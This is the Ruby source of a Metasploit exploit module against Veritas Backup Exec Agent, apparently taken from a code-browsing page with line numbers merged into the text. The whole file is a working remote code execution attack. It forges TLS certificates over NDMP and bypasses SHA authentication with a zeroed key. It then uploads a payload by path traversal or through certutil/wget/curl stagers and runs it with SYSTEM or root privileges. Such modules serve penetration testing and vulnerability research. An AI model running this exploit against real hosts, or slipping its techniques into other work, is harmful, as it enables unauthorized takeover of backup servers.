Path: blob/master/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb
32981 views
# frozen_string_literal: true12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##67class MetasploitModule < Msf::Exploit::Remote8Rank = ExcellentRanking910include Msf::Exploit::Remote::Tcp11include Msf::Exploit::Remote::NDMPSocket12include Msf::Exploit::CmdStager13include Msf::Exploit::EXE14prepend Msf::Exploit::Remote::AutoCheck1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Veritas Backup Exec Agent Remote Code Execution',21'Description' => %q{22Veritas Backup Exec Agent supports multiple authentication schemes and SHA authentication is one of them.23This authentication scheme is no longer used within Backup Exec versions, but hadn't yet been disabled.24An attacker could remotely exploit the SHA authentication scheme to gain unauthorized access to25the BE Agent and execute an arbitrary OS command on the host with NT AUTHORITY\SYSTEM or root privileges26depending on the platform.2728The vulnerability presents in 16.x, 20.x and 21.x versions of Backup Exec up to 21.2 (or up to and29including Backup Exec Remote Agent revision 9.3)30},31'License' => MSF_LICENSE,32'Author' => ['Alexander Korotin <0xc0rs[at]gmail.com>'],33'References' => [34['CVE', '2021-27876'],35['CVE', '2021-27877'],36['CVE', '2021-27878'],37['URL', 'http://web.archive.org/web/20250222002651/https://www.veritas.com/content/support/en_US/security/VTS21-001']38],39'Targets' => [40[41'Windows',42{43'Platform' => 'win',44'Arch' => [ARCH_X86, ARCH_X64],45'CmdStagerFlavor' => %w[certutil vbs psh_invokewebrequest debug_write debug_asm]46}47],48[49'Linux',50{51'Platform' => 'linux',52'Arch' => [ARCH_X86, ARCH_X64],53'CmdStagerFlavor' => %w[bourne wget curl echo]54}55]56],57'DefaultOptions' => {58'RPORT' => 10_00059},60'Privileged' => true,61'DisclosureDate' => '2021-03-01',62'DefaultTarget' => 0,63'Notes' => {64'Reliability' => [UNRELIABLE_SESSION],65'Stability' => [CRASH_SAFE],66'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]67}68)69)7071register_options([72OptString.new('SHELL', [true, 'The shell for executing OS command', '/bin/bash'],73conditions: ['TARGET', '==', 'Linux'])74])75deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')76end7778def execute_command(cmd, opts = {})79case target.opts['Platform']80when 'win'81wrap_cmd = "C:\\Windows\\System32\\cmd.exe /c \"#{cmd}\""82when 'linux'83wrap_cmd = "#{datastore['SHELL']} -c \"#{cmd}\""84end85ndmp_sock = opts[:ndmp_sock]86ndmp_sock.do_request_response(87NDMP::Message.new_request(88NDMP_EXECUTE_COMMAND,89NdmpExecuteCommandReq.new({ cmd: wrap_cmd, unknown: 0 }).to_xdr90)91)92end9394def exploit95print_status('Exploiting ...')9697ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect98fail_with(Msf::Module::Failure::NotFound, "Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status99100ndmp_status, msg_fail_reason = tls_enabling(ndmp_sock)101fail_with(Msf::Module::Failure::UnexpectedReply, "Can not establish TLS connection. #{msg_fail_reason}") unless ndmp_status102103ndmp_status, msg_fail_reason = sha_authentication(ndmp_sock)104fail_with(Msf::Module::Failure::NotVulnerable, "Can not authenticate with SHA. #{msg_fail_reason}") unless ndmp_status105106if target.opts['Platform'] == 'win'107filename = "#{rand_text_alpha(8)}.exe"108ndmp_status, msg_fail_reason = win_write_upload(ndmp_sock, filename)109if ndmp_status110ndmp_status, msg_fail_reason = exec_win_command(ndmp_sock, filename)111fail_with(Msf::Module::Failure::PayloadFailed, "Can not execute payload. #{msg_fail_reason}") unless ndmp_status112else113print_status('Can not upload payload with NDMP_FILE_WRITE packet. Trying to upload with CmdStager')114execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })115end116else117print_status('Uploading payload with CmdStager')118execute_cmdstager({ ndmp_sock: ndmp_sock, linemax: 512 })119end120end121122def check123print_status('Checking vulnerability')124125ndmp_status, ndmp_sock, msg_fail_reason = ndmp_connect126return Exploit::CheckCode::Unknown("Can not connect to BE Agent service. #{msg_fail_reason}") unless ndmp_status127128print_status('Getting supported authentication types')129ndmp_msg = ndmp_sock.do_request_response(130NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO)131)132ndmp_payload = NdmpConfigGetServerInfoRes.from_xdr(ndmp_msg.body)133print_status("Supported authentication by BE agent: #{ndmp_payload.auth_types.map do |k, _|134"#{AUTH_TYPES[k]} (#{k})"135end.join(', ')}")136print_status("BE agent revision: #{ndmp_payload.revision}")137138if ndmp_payload.auth_types.include?(5)139Exploit::CheckCode::Appears('SHA authentication is enabled')140else141Exploit::CheckCode::Safe('SHA authentication is disabled')142end143end144145def ndmp_connect146print_status('Connecting to BE Agent service')147ndmp_msg = nil148begin149ndmp_sock = NDMP::Socket.new(connect)150rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout,151Rex::ConnectionRefused => e152return [false, nil, e.to_s]153end154begin155Timeout.timeout(datastore['ConnectTimeout']) do156ndmp_msg = ndmp_sock.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)157end158rescue Timeout::Error159return [false, nil, 'No NDMP_NOTIFY_CONNECTED (0x502) packet from BE Agent service']160else161ndmp_payload = NdmpNotifyConnectedRes.from_xdr(ndmp_msg.body)162end163164ndmp_msg = ndmp_sock.do_request_response(165NDMP::Message.new_request(166NDMP::Message::CONNECT_OPEN,167NdmpConnectOpenReq.new({ version: ndmp_payload.version }).to_xdr168)169)170171ndmp_payload = NdmpConnectOpenRes.from_xdr(ndmp_msg.body)172unless ndmp_payload.err_code.zero?173return [false, ndmp_sock, "Error code of NDMP_CONNECT_OPEN (0x900) packet: #{ndmp_payload.err_code}"]174end175176[true, ndmp_sock, nil]177end178179def tls_enabling(ndmp_sock)180print_status('Enabling TLS for NDMP connection')181ndmp_tls_certs = NdmpTlsCerts.new('VeritasBE', datastore['RHOSTS'].to_s)182ndmp_tls_certs.forge_ca183ndmp_msg = ndmp_sock.do_request_response(184NDMP::Message.new_request(185NDMP_SSL_HANDSHAKE,186NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_REQ])).to_xdr187)188)189ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)190unless ndmp_payload.err_code.zero?191return [false, "Error code of SSL_HANDSHAKE_CSR_REQ (2) packet: #{ndmp_payload.err_code}"]192end193194ndmp_tls_certs.sign_agent_csr(ndmp_payload.data)195196ndmp_msg = ndmp_sock.do_request_response(197NDMP::Message.new_request(198NDMP_SSL_HANDSHAKE,199NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED])).to_xdr200)201)202ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)203unless ndmp_payload.err_code.zero?204return [false, "Error code of SSL_HANDSHAKE_CSR_SIGNED (3) packet: #{ndmp_payload.err_code}"]205end206207ndmp_msg = ndmp_sock.do_request_response(208NDMP::Message.new_request(209NDMP_SSL_HANDSHAKE,210NdmpSslHandshakeReq.new(ndmp_tls_certs.default_sslpacket_content(NdmpTlsCerts::SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CONNECT])).to_xdr211)212)213ndmp_payload = NdmpSslHandshakeRes.from_xdr(ndmp_msg.body)214unless ndmp_payload.err_code.zero?215return [false, "Error code of SSL_HANDSHAKE_CONNECT (4) packet: #{ndmp_payload.err_code}"]216end217218ssl_context = OpenSSL::SSL::SSLContext.new219ssl_context.add_certificate(ndmp_tls_certs.ca_cert, ndmp_tls_certs.ca_key)220ndmp_sock.wrap_with_ssl(ssl_context)221[true, nil]222end223224def sha_authentication(ndmp_sock)225print_status('Passing SHA authentication')226ndmp_msg = ndmp_sock.do_request_response(227NDMP::Message.new_request(228NDMP_CONFIG_GET_AUTH_ATTR,229NdmpConfigGetAuthAttrReq.new({ auth_type: 5 }).to_xdr230)231)232ndmp_payload = NdmpConfigGetAuthAttrRes.from_xdr(ndmp_msg.body)233unless ndmp_payload.err_code.zero?234return [false, "Error code of NDMP_CONFIG_GET_AUTH_ATTR (0x103) packet: #{ndmp_payload.err_code}"]235end236237ndmp_msg = ndmp_sock.do_request_response(238NDMP::Message.new_request(239NDMP::Message::CONNECT_CLIENT_AUTH,240NdmpConnectClientAuthReq.new(241{242auth_type: 5,243username: 'Administrator', # Doesn't metter244hash: Digest::SHA256.digest("\x00" * 64 + ndmp_payload.challenge)245}246).to_xdr247)248)249ndmp_payload = NdmpConnectClientAuthRes.from_xdr(ndmp_msg.body)250unless ndmp_payload.err_code.zero?251return [false, "Error code of NDMP_CONECT_CLIENT_AUTH (0x901) packet: #{ndmp_payload.err_code}"]252end253254[true, nil]255end256257def win_write_upload(ndmp_sock, filename)258print_status('Uploading payload with NDMP_FILE_WRITE packet')259ndmp_msg = ndmp_sock.do_request_response(260NDMP::Message.new_request(261NDMP_FILE_OPEN_EXT,262NdmpFileOpenExtReq.new(263{264filename: filename,265dir: '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\Windows\\Temp',266mode: 4267}268).to_xdr269)270)271ndmp_payload = NdmpFileOpenExtRes.from_xdr(ndmp_msg.body)272unless ndmp_payload.err_code.zero?273return [false, "Error code of NDMP_FILE_OPEN_EXT (0xf308) packet: #{ndmp_payload.err_code}"]274end275276hnd = ndmp_payload.handler277exe = generate_payload_exe278offset = 0279block_size = 2048280281while offset < exe.length282ndmp_msg = ndmp_sock.do_request_response(283NDMP::Message.new_request(284NDMP_FILE_WRITE,285NdmpFileWriteReq.new({ handler: hnd, len: block_size, data: exe[offset, block_size] }).to_xdr286)287)288ndmp_payload = NdmpFileWriteRes.from_xdr(ndmp_msg.body)289unless ndmp_payload.err_code.zero?290return [false, "Error code of NDMP_FILE_WRITE (0xF309) packet: #{ndmp_payload.err_code}"]291end292293offset += block_size294end295296ndmp_msg = ndmp_sock.do_request_response(297NDMP::Message.new_request(298NDMP_FILE_CLOSE,299NdmpFileCloseReq.new({ handler: hnd }).to_xdr300)301)302ndmp_payload = NdmpFileCloseRes.from_xdr(ndmp_msg.body)303unless ndmp_payload.err_code.zero?304return [false, "Error code of NDMP_FILE_CLOSE (0xF306) packet: #{ndmp_payload.err_code}"]305end306307[true, nil]308end309310def exec_win_command(ndmp_sock, filename)311cmd = "C:\\Windows\\System32\\cmd.exe /c \"C:\\Windows\\Temp\\#{filename}\""312ndmp_msg = ndmp_sock.do_request_response(313NDMP::Message.new_request(314NDMP_EXECUTE_COMMAND,315NdmpExecuteCommandReq.new({ cmd: cmd, unknown: 0 }).to_xdr316)317)318ndmp_payload = NdmpExecuteCommandRes.from_xdr(ndmp_msg.body)319unless ndmp_payload.err_code.zero?320return [false, "Error code of NDMP_EXECUTE_COMMAND (0xF30F) packet: #{ndmp_payload.err_code}"]321end322323[true, nil]324end325326# Class to create CA and client certificates327class NdmpTlsCerts328def initialize(hostname, ip)329@hostname = hostname330@ip = ip331@ca_key = nil332@ca_cert = nil333@be_agent_cert = nil334end335336SSL_HANDSHAKE_TYPES = {337SSL_HANDSHAKE_TEST_CERT: 1,338SSL_HANDSHAKE_CSR_REQ: 2,339SSL_HANDSHAKE_CSR_SIGNED: 3,340SSL_HANDSHAKE_CONNECT: 4341}.freeze342343attr_reader :ca_cert, :ca_key344345def forge_ca346@ca_key = OpenSSL::PKey::RSA.new(2048)347@ca_cert = OpenSSL::X509::Certificate.new348@ca_cert.version = 2349@ca_cert.serial = rand(2**32..2**64 - 1)350@ca_cert.subject = @ca_cert.issuer = OpenSSL::X509::Name.parse("/CN=#{@hostname}")351extn_factory = OpenSSL::X509::ExtensionFactory.new(@ca_cert, @ca_cert)352@ca_cert.extensions = [353extn_factory.create_extension('subjectKeyIdentifier', 'hash'),354extn_factory.create_extension('basicConstraints', 'CA:TRUE'),355extn_factory.create_extension('keyUsage', 'keyCertSign, cRLSign')356]357@ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always'))358@ca_cert.public_key = @ca_key.public_key359@ca_cert.not_before = Time.now - 7 * 60 * 60 * 24360@ca_cert.not_after = Time.now + 14 * 24 * 60 * 60361@ca_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))362end363364def sign_agent_csr(csr)365o_csr = OpenSSL::X509::Request.new(csr)366@be_agent_cert = OpenSSL::X509::Certificate.new367@be_agent_cert.version = 2368@be_agent_cert.serial = rand(2**32..2**64 - 1)369@be_agent_cert.not_before = Time.now - 7 * 60 * 60 * 24370@be_agent_cert.not_after = Time.now + 14 * 24 * 60 * 60371@be_agent_cert.issuer = @ca_cert.subject372@be_agent_cert.subject = o_csr.subject373@be_agent_cert.public_key = o_csr.public_key374@be_agent_cert.sign(@ca_key, OpenSSL::Digest.new('SHA256'))375end376377def default_sslpacket_content(ssl_packet_type)378if ssl_packet_type == SSL_HANDSHAKE_TYPES[:SSL_HANDSHAKE_CSR_SIGNED]379ca_cert = @ca_cert.to_s380agent_cert = @be_agent_cert.to_s381else382ca_cert = ''383agent_cert = ''384end385{386ssl_packet_type: ssl_packet_type,387hostname: @hostname,388nb_hostname: @hostname.upcase,389ip_addr: @ip,390cert_id1: get_cert_id(@ca_cert),391cert_id2: get_cert_id(@ca_cert),392unknown1: 0,393unknown2: 0,394ca_cert_len: ca_cert.length,395ca_cert: ca_cert,396agent_cert_len: agent_cert.length,397agent_cert: agent_cert398}399end400401def get_cert_id(cert)402Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack1('L<')403end404end405406NDMP_CONFIG_GET_AUTH_ATTR = 0x103407NDMP_SSL_HANDSHAKE = 0xf383408NDMP_EXECUTE_COMMAND = 0xf30f409NDMP_FILE_OPEN_EXT = 0xf308410NDMP_FILE_WRITE = 0xF309411NDMP_FILE_CLOSE = 0xF306412413AUTH_TYPES = {4141 => 'Text',4152 => 'MD5',4163 => 'BEWS',4174 => 'SSPI',4185 => 'SHA',419190 => 'BEWS2' # 0xBE420}.freeze421422# Responce packets423class NdmpNotifyConnectedRes < XDR::Struct424attribute :connected, XDR::Int425attribute :version, XDR::Int426attribute :reason, XDR::Int427end428429class NdmpConnectOpenRes < XDR::Struct430attribute :err_code, XDR::Int431end432433class NdmpConfigGetServerInfoRes < XDR::Struct434attribute :err_code, XDR::Int435attribute :vendor_name, XDR::String[]436attribute :product_name, XDR::String[]437attribute :revision, XDR::String[]438attribute :auth_types, XDR::VarArray[XDR::Int]439end440441class NdmpConfigGetHostInfoRes < XDR::Struct442attribute :err_code, XDR::Int443attribute :hostname, XDR::String[]444attribute :os, XDR::String[]445attribute :os_info, XDR::String[]446attribute :ip, XDR::String[]447end448449class NdmpSslHandshakeRes < XDR::Struct450attribute :data_len, XDR::Int451attribute :data, XDR::String[]452attribute :err_code, XDR::Int453attribute :unknown4, XDR::String[]454end455456class NdmpConfigGetAuthAttrRes < XDR::Struct457attribute :err_code, XDR::Int458attribute :auth_type, XDR::Int459attribute :challenge, XDR::Opaque[64]460end461462class NdmpConnectClientAuthRes < XDR::Struct463attribute :err_code, XDR::Int464end465466class NdmpExecuteCommandRes < XDR::Struct467attribute :err_code, XDR::Int468end469470class NdmpFileOpenExtRes < XDR::Struct471attribute :err_code, XDR::Int472attribute :handler, XDR::Int473end474475class NdmpFileWriteRes < XDR::Struct476attribute :err_code, XDR::Int477attribute :recv_len, XDR::Int478attribute :unknown, XDR::Int479end480481class NdmpFileCloseRes < XDR::Struct482attribute :err_code, XDR::Int483end484485# Request packets486class NdmpConnectOpenReq < XDR::Struct487attribute :version, XDR::Int488end489490class NdmpSslHandshakeReq < XDR::Struct491attribute :ssl_packet_type, XDR::Int492attribute :nb_hostname, XDR::String[]493attribute :hostname, XDR::String[]494attribute :ip_addr, XDR::String[]495attribute :cert_id1, XDR::Int496attribute :cert_id2, XDR::Int497attribute :unknown1, XDR::Int498attribute :unknown2, XDR::Int499attribute :ca_cert_len, XDR::Int500attribute :ca_cert, XDR::String[]501attribute :agent_cert_len, XDR::Int502attribute :agent_cert, XDR::String[]503end504505class NdmpConfigGetAuthAttrReq < XDR::Struct506attribute :auth_type, XDR::Int507end508509class NdmpConnectClientAuthReq < XDR::Struct510attribute :auth_type, XDR::Int511attribute :username, XDR::String[]512attribute :hash, XDR::Opaque[32]513end514515class NdmpExecuteCommandReq < XDR::Struct516attribute :cmd, XDR::String[]517attribute :unknown, XDR::Int518end519520class NdmpFileOpenExtReq < XDR::Struct521attribute :filename, XDR::String[]522attribute :dir, XDR::String[]523attribute :mode, XDR::Int524end525526class NdmpFileWriteReq < XDR::Struct527attribute :handler, XDR::Int528attribute :len, XDR::Int529attribute :data, XDR::String[]530end531532class NdmpFileCloseReq < XDR::Struct533attribute :handler, XDR::Int534end535end536537538